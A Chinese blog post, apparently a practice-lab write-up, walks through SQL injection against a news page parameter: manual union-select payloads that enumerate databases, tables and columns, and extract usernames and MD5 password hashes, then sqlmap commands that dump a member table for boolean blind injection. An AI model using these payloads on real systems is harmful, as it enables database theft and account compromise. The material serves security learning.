【SQL注入】SQL注入基本流程

  • 摘要

一次简单的SQL注入靶场实践,两个实验环境,分别为有显示位和没有显示位,采用联合注入和布尔型注入的方法,分别通过手注和sqlmap工具的方式进行注入,最终获得数据库数据。

  • 【场景一】

关键字: 联合注入,手注
背景: 只有登录页面,需账号密码登录
工具: MD5在线解密工具
步骤:
1.查看当前页面,发现登录框下方有滚动条,内有公告信息,尝试点击
2.URL为http://xxx/new_list.php?id=1,找到注入页面
3.分别在URL后输入

and 1=1和and 1=2

页面显示不同,判断此处为数字型注入,不需要闭合,同时页面有回显,应采用联合查询注入方法
4.判断出有4列

order by 4

5.判断出2,3位为显示位

id=-1 union select 1,2,3,4

6.判断出当前数据库名(名字我忘了)

union select 1,database(),3,4

7.判断表名为StormGroup_member

union select 1,table_name,3,4 from information_schema.tables where table_schema='数据库名'

8.判断列名为id,user,passpord,status

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='StormGroup_member'

9.获得用户名

union select 1,group_concat(user),3,4 from StormGroup_member

10.获得两个MD5加密的密码和相应的状态

union select 1,group_concat(status),group_concat(password),4 from StormGroup_member

11.使用在线解密工具解密状态为1的password,获得未加密的密码
12.使用用户名和获得的密码登录,得到key

  • 【场景二】

关键字: 布尔型盲注,sqlmap
背景: 只有登录页面,需账号密码登录
工具: sqlmap ,MD5在线解密工具
步骤:
1.与场景一非常相似,登录框下方有滚动条,内有公告信息,点击进入注入页面
2.分别在URL后面加and 1=1和and 1=2
//页面回显不同,但仅为正确和错误两种,错误时页面上无分割线等内容,判断为布尔型注入
3.布尔型注入耗时费力,直接上工具,使用sqlmap获得数据(因为参数不够熟练还请教了度娘)
①获取所有数据库名:

sqlmap -u http://xxx/new_list.php?id=1 --dbs

②获取当前数据库名:

sqlmap -u http://xxx/new_list.php?id=1 --current-db

③获取表名:

sqlmap -u http://xxx/new_list.php?id=1 -D stormgroup --table

④获取数据:

sqlmap -u http://xxx/new_list.php?id=1 -D stormgroup -T member --dump

3.得到用户名和密码,密码为MD5加密数据,使用在线解密工具解密,得到账号密码
4.登录,得到key

【SQL注入】SQL注入基本流程相关推荐

  1. SQL注入——联合注入

    SQL注入原理:攻击者通过构造不同的SQL语句来实现对数据库的操作 SQL注入的本质:我们也能操作别人的数据库 数据库结构:库:就是一堆表组成的数据集合    表:类似Excel,有行和列组成的二维表 ...

  2. Pikachu靶场通关笔记--Sql Inject(SQL注入)

    在owasp发布的top10排行榜里,注入漏洞一直是危害排名第一的漏洞,其中注入漏洞里面首当其冲的就是数据库注入漏洞.一个严重的SQL注入漏洞,可能会直接导致一家公司破产! SQL注入漏洞主要形成的原 ...

  3. sql显错注入靶机演示

    sql注入漏洞作为web层面最高危的漏洞之一,本文将手动演示sql显错注入的整体流程 注:禁止用于实战 那么开始正文部分,首先打开我们的靶场猫舍 http://cntj8003.ia.aqlab.cn ...

  4. concat mysql sql注入_sql注入-mysql注入基础及常用注入语句

    最近在教学中,关于SQL注入,总发现学生理解起来有些难度,其实主要的原因是对各类数据库以及SQL语句不熟悉,今天先介绍mysql注入需要掌握的基础, Mysql内置information_schema ...

  5. mysql %3c%3e sql优化_SQL注入技术和跨站脚本攻击的检测(2)

    2.3 典型的 SQL 注入攻击的正则表达式 /\w*((\%27)|(\'))((\%6F)|o|(\%4F))((\%72)|r|(\%52))/ix 解释: \w* - 零个或多个字符或者下划线 ...

  6. php sql 二次注入,espcms 二次注入一枚

    Author:Yaseng 1:通过 $alias 二次注入来控制sql 用户昵称 $alias 从数据库查询出来 未过滤 interface/member.php [php] $db_sql = & ...

  7. SQL注入(SQL注入(SQLi)攻击)攻击-注入点

    SQL注入被称为漏洞之王 , 是最常用的漏洞之一 , 其中PHP在这方面的贡献最大 SQL注入原理 用户在参数中插入恶意的SQL语句 , 破坏原有的SQL语法结构 , 从而执行攻击者的操作 SQL注入 ...

  8. SQL注入_1-6_user-agent注入

    SQL注入_1-6_user-agent注入 一.概念 User Agent中文名为用户代理,简称 UA,它是一个特殊字符串头,使得服务器能够识别客户使用的操作系统及版本.CPU 类型.浏览器及版本. ...

  9. SQL注入——SQL注入漏洞利用(零)(值得收藏)

    一.什么是SQL注入漏洞 攻击者利用Web应用程序对用户输入验证上的疏忽,在输入的数据中包含对某些数据库系 统有特殊意义的符号或命令,让攻击者有机会直接对后台数据库系统下达指令,进而实现对后 台数据库 ...

  10. SQL注入-SQL注入的WAF绕过(十六)

    实验目的 普及熟悉利用重写等方式绕过WAF关键字过滤.以实现SQL注入的方法.PS:面试时不要说打WAF靶场什么东西,就说重复大小写编码什么之类的 基本概念 WAF(WebApplicationFir ...

最新文章

  1. cufflinks基于dataframe数据绘制柱状图(bar plot)、堆叠柱状图(stacked bar plot)
  2. 干货丨揭秘深度学习的核心:掌握训练数据的方法
  3. js中的Object.create(null) 和 {} 的区别
  4. python中long类型_浅谈python 四种数值类型(int,long,float,complex)
  5. 拓展Revit的方式
  6. linux telnet 127.0.0.1 不通,Linux 出现telnet: 127.0.0.1: Connection refused错误解决办法
  7. AI大牛Jerry Kaplan:AGI?没有技术和工程基础
  8. Python 数据结构与算法——引用计数
  9. js 判断浏览器是否滚动到底部
  10. Tapestry 5简介
  11. MyBatis-18MyBatis代码生成器-Example讲解
  12. 专题:固体力学中应力与应变分析详解(4.应力张量的转换)
  13. 广告投放市场推广渠道大全与效果分析比较
  14. P6858 数学期望
  15. JVM的垃圾回收Serial、Serial Old、Parallel Scavenge、Parallel Old的介绍和STW(Stop The World)
  16. python矩阵内积乘_numpy矩阵向量乘法
  17. win10设备管理没有android,win10电脑不能识别安卓设备怎么解决?
  18. Visual Studio 2019 操作使用
  19. ScrollView中嵌套GridView,不在顶部解决办法
  20. 从谷歌流感趋势谈大数据分析的光荣与陷阱

热门文章

  1. 通过Arrays.asList数组转为集合的坑
  2. 2017.2.15 开涛shiro教程-第二十一章-授予身份与切换身份(二) controller
  3. Solace 备份/恢复solace配置
  4. autoit 中文文档:
  5. Windows环境下msysgit下安装gitflow步骤。
  6. 燃起来 ESP32移植LVGL最新版本8.2
  7. Android Studio常用快捷键
  8. chmod +x 与chmod 777的区别
  9. Dcloud课程2 什么是Dcloud
  10. 面向汽车企业的PLM知识管理